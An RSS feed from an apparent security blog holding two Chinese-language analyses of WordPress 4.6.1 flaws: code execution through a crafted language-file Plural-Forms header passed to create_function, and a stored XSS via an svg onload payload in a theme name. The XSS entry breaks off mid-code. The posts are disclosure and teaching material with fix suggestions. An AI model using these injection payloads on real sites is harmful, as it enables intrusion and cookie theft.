<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
  <channel>
    <title>imp0wd3r.github.io</title>
    <description>&quot;The quieter you become, the more you are able to hear.&quot;
</description>
    <link>http://imp0wd3r.github.io/</link>
    <atom:link href="http://imp0wd3r.github.io/feed.xml" rel="self" type="application/rss+xml"/>
    <pubDate>Tue, 16 Jan 2018 07:49:39 +0000</pubDate>
    <lastBuildDate>Tue, 16 Jan 2018 07:49:39 +0000</lastBuildDate>
    <generator>Jekyll v3.6.2</generator>
    
      <item>
        <title>Wordpress &lt;= 4.6.1 使用语言文件任意代码执行 漏洞分析</title>
        <description>&lt;h2 id=&quot;0x00-漏洞概述&quot;&gt;0x00 漏洞概述&lt;/h2&gt;

&lt;h3 id=&quot;1漏洞简介&quot;&gt;1.漏洞简介&lt;/h3&gt;

&lt;p&gt;&lt;a href=&quot;https://wordpress.org/&quot;&gt;WordPress&lt;/a&gt;是一个以PHP和MySQL为平台的自由开源的博客软件和内容管理系统，近日在github （&lt;a href=&quot;https://gist.github.com/anonymous/908a087b95035d9fc9ca46cef4984e97&quot;&gt;https://gist.github.com/anonymous/908a087b95035d9fc9ca46cef4984e97&lt;/a&gt;）上爆出这样一个漏洞，在其&amp;lt;=4.6.1版本中，如果网站使用攻击者提前构造好的语言文件来对网站、主题、插件等等来进行翻译的话，就可以执行任意代码。&lt;/p&gt;

&lt;h3 id=&quot;2漏洞影响&quot;&gt;2.漏洞影响&lt;/h3&gt;

&lt;p&gt;任意代码执行，但有以下两个前提：&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;攻击者可以上传自己构造的语言文件，或者含有该语言文件的主题、插件等文件夹&lt;/li&gt;
  &lt;li&gt;网站使用攻击者构造好的语言文件来对网站、主题、插件等进行翻译&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;这里举一个真实场景中的例子：攻击者更改了某个插件中的语言文件，并更改了插件代码使插件初始化时使用恶意语言文件对插件进行翻译，然后攻击者通过诱导管理员安装此插件来触发漏洞。&lt;/p&gt;

&lt;h3 id=&quot;3影响版本&quot;&gt;3.影响版本&lt;/h3&gt;

&lt;p&gt;&amp;lt;= 4.6.1&lt;/p&gt;

&lt;h2 id=&quot;0x01-漏洞复现&quot;&gt;0x01 漏洞复现&lt;/h2&gt;

&lt;h3 id=&quot;1-环境搭建&quot;&gt;1. 环境搭建&lt;/h3&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;docker pull wordpress:4.6.1
docker pull mysql
docker run &lt;span class=&quot;nt&quot;&gt;--name&lt;/span&gt; wp-mysql &lt;span class=&quot;nt&quot;&gt;-e&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;MYSQL_ROOT_PASSWORD&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;hellowp &lt;span class=&quot;nt&quot;&gt;-e&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;MYSQL_DATABASE&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;wp &lt;span class=&quot;nt&quot;&gt;-d&lt;/span&gt; mysql
docker run &lt;span class=&quot;nt&quot;&gt;--name&lt;/span&gt; wp &lt;span class=&quot;nt&quot;&gt;--link&lt;/span&gt; wp-mysql:mysql &lt;span class=&quot;nt&quot;&gt;-d&lt;/span&gt; wordpress
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;2漏洞分析&quot;&gt;2.漏洞分析&lt;/h3&gt;

&lt;p&gt;首先我们来看这样一个场景：&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/2016-10-09-create-function-bug.png&quot; alt=&quot;Alt text&quot; /&gt;&lt;/p&gt;

&lt;p&gt;在调用&lt;code class=&quot;highlighter-rouge&quot;&gt;create_function&lt;/code&gt;时，我们通过&lt;code class=&quot;highlighter-rouge&quot;&gt;}&lt;/code&gt;将原函数闭合，添加我们想要执行的内容后再使用&lt;code class=&quot;highlighter-rouge&quot;&gt;/*&lt;/code&gt;将后面不必要的部分注释掉，最后即使我们没有调用创建好的函数，我们添加的新内容也依然被执行了。之所以如此，是因为&lt;code class=&quot;highlighter-rouge&quot;&gt;create_function&lt;/code&gt;内部使用了&lt;code class=&quot;highlighter-rouge&quot;&gt;eval&lt;/code&gt;来执行代码，我们看PHP手册上的说明：&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/2016-10-09-eval.png&quot; alt=&quot;Alt text&quot; /&gt;&lt;/p&gt;

&lt;p&gt;所以由于这个特性，如果我们可以控制&lt;code class=&quot;highlighter-rouge&quot;&gt;create_function&lt;/code&gt;的&lt;code class=&quot;highlighter-rouge&quot;&gt;$code&lt;/code&gt;参数，那就有了任意代码执行的可能。这里要说一下，&lt;code class=&quot;highlighter-rouge&quot;&gt;create_function&lt;/code&gt;这个漏洞最早由80sec在08年提出，这里提供几个链接作为参考：&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.exploit-db.com/exploits/32416/&quot;&gt;https://www.exploit-db.com/exploits/32416/&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://bugs.php.net/bug.php?id=48231&quot;&gt;https://bugs.php.net/bug.php?id=48231&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;http://www.2cto.com/Article/201212/177146.html&quot;&gt;http://www.2cto.com/Article/201212/177146.html&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;接下来我们看Wordpress中一处用到&lt;code class=&quot;highlighter-rouge&quot;&gt;create_function&lt;/code&gt;的地方，在&lt;code class=&quot;highlighter-rouge&quot;&gt;wp-includes/pomo/translations.php&lt;/code&gt;第203-209行：&lt;/p&gt;

&lt;div class=&quot;language-php highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;sd&quot;&gt;/**
 * Makes a function, which will return the right translation index, according to the
 * plural forms header
 * @param int    $nplurals
 * @param string $expression
 */&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;make_plural_form_function&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$nplurals&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$expression&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
	&lt;span class=&quot;nv&quot;&gt;$expression&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;str_replace&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'n'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'$n'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$expression&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
	&lt;span class=&quot;nv&quot;&gt;$func_body&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;
		&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\$&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;index = (int)(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$expression&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;);
		return (&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\$&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;index &amp;lt; &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$nplurals&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;)? &lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\$&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;index : &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$nplurals&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt; - 1;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
	&lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;create_function&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'$n'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$func_body&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;根据注释可以看到该函数的作用是根据字体文件中的&lt;code class=&quot;highlighter-rouge&quot;&gt;plural forms&lt;/code&gt;这个header来创建函数并返回，其中&lt;code class=&quot;highlighter-rouge&quot;&gt;$expression&lt;/code&gt;用于组成&lt;code class=&quot;highlighter-rouge&quot;&gt;$func_body&lt;/code&gt;，而&lt;code class=&quot;highlighter-rouge&quot;&gt;$func_body&lt;/code&gt;作为&lt;code class=&quot;highlighter-rouge&quot;&gt;$code&lt;/code&gt;参数传入了&lt;code class=&quot;highlighter-rouge&quot;&gt;create_function&lt;/code&gt;，所以关键是控制&lt;code class=&quot;highlighter-rouge&quot;&gt;$expresstion&lt;/code&gt;的值。&lt;/p&gt;

&lt;p&gt;我们看一下正常的字体文件&lt;code class=&quot;highlighter-rouge&quot;&gt;zh_CN.mo&lt;/code&gt;，其中有这么一段：&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/2016-10-09-common.png&quot; alt=&quot;Alt text&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;Plural-Froms&lt;/code&gt;这个header就是上面的函数所需要处理的，其中&lt;code class=&quot;highlighter-rouge&quot;&gt;nplurals&lt;/code&gt;的值即为&lt;code class=&quot;highlighter-rouge&quot;&gt;$nplurals&lt;/code&gt;的值，而&lt;code class=&quot;highlighter-rouge&quot;&gt;plural&lt;/code&gt;的值正是我们需要的&lt;code class=&quot;highlighter-rouge&quot;&gt;$expression&lt;/code&gt;的值。所以我们将字体文件进行如下改动：&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/2016-10-09-payload.png&quot; alt=&quot;Alt text&quot; /&gt;&lt;/p&gt;

&lt;p&gt;然后我们在后台重新加载这个字体文件，同时进行动态调试，可以看到如下情景：&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/2016-10-09-debug.png&quot; alt=&quot;Alt text&quot; /&gt;&lt;/p&gt;

&lt;p&gt;我们payload中的&lt;code class=&quot;highlighter-rouge&quot;&gt;)&lt;/code&gt;首先闭合了前面的&lt;code class=&quot;highlighter-rouge&quot;&gt;(&lt;/code&gt;，然后&lt;code class=&quot;highlighter-rouge&quot;&gt;；&lt;/code&gt;结束前面的语句，接着是我们的一句话木马，然后用&lt;code class=&quot;highlighter-rouge&quot;&gt;/*&lt;/code&gt;将后面不必要的部分注释掉，通过这样，我们就将payload完整的传入了&lt;code class=&quot;highlighter-rouge&quot;&gt;create_function&lt;/code&gt;，在其创建函数时我们的payload就会被执行，由于访问每个文件时都要用这个对字体文件解析的结果对文件进行翻译，所以我们访问任何文件都可以触发这个payload：&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/2016-10-09-index.png&quot; alt=&quot;Alt text&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/2016-10-09-tools.png&quot; alt=&quot;Alt text&quot; /&gt;&lt;/p&gt;

&lt;p&gt;其中访问&lt;code class=&quot;highlighter-rouge&quot;&gt;index.php?c=phpinfo();&lt;/code&gt;的函数调用栈如下：&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/2016-10-09-call.png&quot; alt=&quot;Alt text&quot; /&gt;&lt;/p&gt;

&lt;h3 id=&quot;3补丁分析&quot;&gt;3.补丁分析&lt;/h3&gt;

&lt;p&gt;目前官方还没有发布补丁，最新版仍存在该漏洞。&lt;/p&gt;

&lt;h2 id=&quot;0x02-修复方案&quot;&gt;0x02 修复方案&lt;/h2&gt;

&lt;p&gt;在官方发布补丁前建议管理员增强安全意识，不要使用来路不明的字体文件、插件、主题等等。&lt;/p&gt;

&lt;p&gt;对于开发者来说，建议对&lt;code class=&quot;highlighter-rouge&quot;&gt;$expression&lt;/code&gt;中的特殊符号进行过滤，例如：&lt;/p&gt;

&lt;div class=&quot;language-php highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nv&quot;&gt;$not_allowed&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;array&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;)&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;}&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;nv&quot;&gt;$experssion&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;str_replace&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$not_allowed&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$expression&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id=&quot;0x03-参考&quot;&gt;0x03 参考&lt;/h2&gt;

&lt;p&gt;&lt;a href=&quot;https://gist.github.com/anonymous/908a087b95035d9fc9ca46cef4984e97&quot;&gt;https://gist.github.com/anonymous/908a087b95035d9fc9ca46cef4984e97&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;http://php.net/manual/zh/function.create-function.php&quot;&gt;http://php.net/manual/zh/function.create-function.php&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;https://www.exploit-db.com/exploits/32416/&quot;&gt;https://www.exploit-db.com/exploits/32416/&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;https://bugs.php.net/bug.php?id=48231&quot;&gt;https://bugs.php.net/bug.php?id=48231&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;http://www.2cto.com/Article/201212/177146.html&quot;&gt;http://www.2cto.com/Article/201212/177146.html&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;https://codex.wordpress.org/Installing_WordPress_in_Your_Language&quot;&gt;https://codex.wordpress.org/Installing_WordPress_in_Your_Language&lt;/a&gt;&lt;/p&gt;
</description>
        <pubDate>Sun, 09 Oct 2016 00:00:00 +0000</pubDate>
        <link>http://imp0wd3r.github.io/2016/10/09/wordpress-language-code-exec.html</link>
        <guid isPermaLink="true">http://imp0wd3r.github.io/2016/10/09/wordpress-language-code-exec.html</guid>
        
        
      </item>
    
      <item>
        <title>Wordpress &lt;= 4.6.1 使用主题文件触发存储型XSS 漏洞分析</title>
        <description>&lt;h2 id=&quot;0x00-漏洞概述&quot;&gt;0x00 漏洞概述&lt;/h2&gt;

&lt;h3 id=&quot;1漏洞简介&quot;&gt;1.漏洞简介&lt;/h3&gt;

&lt;p&gt;&lt;a href=&quot;https://wordpress.org/&quot;&gt;WordPress&lt;/a&gt;是一个以PHP和MySQL为平台的自由开源的博客软件和内容管理系统，近日研究者发现在其&amp;lt;=4.6.1版本中，通过上传恶意构造的主题文件可以触发一个后台存储型XSS漏洞。通过该漏洞，攻击者可以在能够上传主题文件的前提下执行获取管理员Cookie等敏感操作。&lt;/p&gt;

&lt;h3 id=&quot;2漏洞影响&quot;&gt;2.漏洞影响&lt;/h3&gt;

&lt;p&gt;在能够上传主题文件的前提下执行获取管理员Cookie等XSS可以进行的攻击，实际的攻击场景有以下两种：&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;攻击者诱导管理员上传恶意构造的主题文件，且管理员并没有对文件进行检查&lt;/li&gt;
  &lt;li&gt;攻击者拥有管理员权限可以直接上传主题文件，但既然已经有管理员权限再进行这样的攻击也就多此一举了&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;3影响版本&quot;&gt;3.影响版本&lt;/h3&gt;

&lt;p&gt;&amp;lt;= 4.6.1&lt;/p&gt;

&lt;h2 id=&quot;0x01-漏洞复现&quot;&gt;0x01 漏洞复现&lt;/h2&gt;

&lt;h3 id=&quot;1-环境搭建&quot;&gt;1. 环境搭建&lt;/h3&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;docker pull wordpress:4.6.1
docker pull mysql
docker run &lt;span class=&quot;nt&quot;&gt;--name&lt;/span&gt; wp-mysql &lt;span class=&quot;nt&quot;&gt;-e&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;MYSQL_ROOT_PASSWORD&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;hellowp &lt;span class=&quot;nt&quot;&gt;-e&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;MYSQL_DATABASE&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;wp &lt;span class=&quot;nt&quot;&gt;-d&lt;/span&gt; mysql
docker run &lt;span class=&quot;nt&quot;&gt;--name&lt;/span&gt; wp &lt;span class=&quot;nt&quot;&gt;--link&lt;/span&gt; wp-mysql:mysql &lt;span class=&quot;nt&quot;&gt;-d&lt;/span&gt; wordpress
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;2漏洞分析&quot;&gt;2.漏洞分析&lt;/h3&gt;

&lt;p&gt;我们先随便下载一个主题：&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;wget https://downloads.wordpress.org/theme/illdy.1.0.29.zip
unzip &lt;span class=&quot;nt&quot;&gt;-x&lt;/span&gt; illdy.1.0.29.zip
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;然后对&lt;code class=&quot;highlighter-rouge&quot;&gt;illdy/style.css&lt;/code&gt;进行如下更改：&lt;/p&gt;

&lt;div class=&quot;language-css highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c&quot;&gt;/*
Theme Name: &amp;lt;svg onload=alert(1234)&amp;gt;
... DO NOT CHANGES HERE ...
*/&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;接着更改文件夹名字再打包：&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;mv illdy &lt;span class=&quot;s2&quot;&gt;&quot;&amp;lt;svg onload=alert(5678)&amp;gt;&quot;&lt;/span&gt;
zip &lt;span class=&quot;nt&quot;&gt;-r&lt;/span&gt; theme.zip &lt;span class=&quot;s2&quot;&gt;&quot;&amp;lt;svg onload=alert(5678)&amp;gt;&quot;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;构造好之后我们登录后台上传该主题文件，同时开始动态调试。&lt;/p&gt;

&lt;p&gt;首先进入&lt;code class=&quot;highlighter-rouge&quot;&gt;wp-admin/includes/class-theme-installer-skin.php&lt;/code&gt;中第55-82行：&lt;/p&gt;

&lt;div class=&quot;language-php highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nv&quot;&gt;$name&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$theme_info&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;display&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'Name'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;...&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;current_user_can&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'edit_theme_options'&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;current_user_can&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'customize'&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
	&lt;span class=&quot;nv&quot;&gt;$install_actions&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'preview'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'&amp;lt;a href=&quot;'&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;wp_customize_url&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$stylesheet&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'&quot; class=&quot;hide-if-no-customize load-customize&quot;&amp;gt;&amp;lt;span aria-hidden=&quot;true&quot;&amp;gt;'&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;__&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'Live Preview'&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'&amp;lt;/span&amp;gt;&amp;lt;span class=&quot;screen-reader-text&quot;&amp;gt;'&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;sprintf&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;__&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'Live Preview &amp;amp;#8220;%s&amp;amp;#8221;'&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;),&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$name&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'&amp;lt;/span&amp;gt;&amp;lt;/a&amp;gt;'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;nv&quot;&gt;$install_actions&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'activate'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'&amp;lt;a href=&quot;'&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;esc_url&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$activate_link&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'&quot; class=&quot;activatelink&quot;&amp;gt;&amp;lt;span aria-hidden=&quot;true&quot;&amp;gt;'&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;__&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'Activate'&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'&amp;lt;/span&amp;gt;&amp;lt;span class=&quot;screen-reader-text&quot;&amp;gt;'&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;sprintf&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;__&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'Activate &amp;amp;#8220;%s&amp;amp;#8221;'&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;),&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$name&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'&amp;lt;/span&amp;gt;&amp;lt;/a&amp;gt;'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;其中&lt;code class=&quot;highlighter-rouge&quot;&gt;$theme_info&lt;/code&gt;的值如下：&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/2016-10-08-theme-info.png&quot; alt=&quot;Alt text&quot; /&gt;&lt;/p&gt;

&lt;p&gt;其中&lt;code class=&quot;highlighter-rouge&quot;&gt;stylesheet&lt;/code&gt;和&lt;code class=&quot;highlighter-rouge&quot;&gt;template&lt;/code&gt;的值为我们更改的文件夹名，&lt;code class=&quot;highlighter-rouge&quot;&gt;headers.Name&lt;/code&gt;为更改的&lt;code class=&quot;highlighter-rouge&quot;&gt;style.css&lt;/code&gt;中的&lt;code class=&quot;highlighter-rouge&quot;&gt;Name&lt;/code&gt;。&lt;code class=&quot;highlighter-rouge&quot;&gt;$theme_info&lt;/code&gt;中有我们可控的payload，其调用&lt;code class=&quot;highlighter-rouge&quot;&gt;display&lt;/code&gt;函数后赋值给&lt;code class=&quot;highlighter-rouge&quot;&gt;$name&lt;/code&gt;，&lt;code class=&quot;highlighter-rouge&quot;&gt;$name&lt;/code&gt;直接与html拼接，所以关键点在&lt;code class=&quot;highlighter-rouge&quot;&gt;display&lt;/code&gt;函数上，动态调试跟进到&lt;code class=&quot;highlighter-rouge&quot;&gt;wp-includes/class-wp-theme.php&lt;/code&gt;中第630-646行：&lt;/p&gt;

&lt;div class=&quot;language-php highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;display&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$header&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$markup&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;true&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$translate&lt;/span&gt; 